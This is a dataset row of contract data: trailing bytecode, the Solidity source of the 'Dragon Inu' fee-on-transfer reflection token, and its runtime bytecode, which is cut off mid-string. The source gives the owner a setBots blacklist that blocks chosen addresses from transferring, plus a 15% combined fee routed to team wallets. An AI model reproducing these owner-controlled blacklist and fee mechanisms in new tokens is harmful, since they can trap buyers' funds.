26020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611097565b60405180910390fd5b61042585610414610759565b858461042091906111bf565b610761565b60019150509392505050565b60006008905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611169565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d9061127b565b80601f01602080910402602001604051908101604052809291908181526020018280546105699061127b565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906110f7565b60405180910390fd5b6106a9610697610759565b8585846106a491906111bf565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906110d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890611057565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190611117565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906110b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390611037565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490611077565b60405180910390fd5b8181610aa991906111bf565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190611169565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190611117565b60405180910390a350505050565b505050565b600081359050610bbf8161131c565b92915050565b600081359050610bd481611333565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611205565b82525050565b6000610ce48261114d565b610cee8185611158565b9350610cfe818560208601611248565b610d078161130b565b840191505092915050565b6000610d1f602383611158565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d85602283611158565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610deb602683611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e51602883611158565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eb7602583611158565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1d602483611158565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f83602583611158565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fe581611231565b82525050565b610ff48161123b565b82525050565b600060208201905061100f6000830184610cca565b92915050565b6000602082019050818103600083015261102f8184610cd9565b905092915050565b6000602082019050818103600083015261105081610d12565b9050919050565b6000602082019050818103600083015261107081610d78565b9050919050565b6000602082019050818103600083015261109081610dde565b9050919050565b600060208201905081810360008301526110b081610e44565b9050919050565b600060208201905081810360008301526110d081610eaa565b9050919050565b600060208201905081810360008301526110f081610f10565b9050919050565b6000602082019050818103600083015261111081610f76565b9050919050565b600060208201905061112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea264697066735822122015dcce250ca7708db9fde9b2e07043dfe6e07bc0abdcf3249c48892eb246ed6f64736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 1,198 |
0xe1f2635a307fe6481d2fecc97b780ae7e11c178d | /*
https://t.me/dragoninu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DragonInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 *10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Dragon Inu";
string private constant _symbol = 'DRGINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f447261676f6e20496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f445247494e550000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e67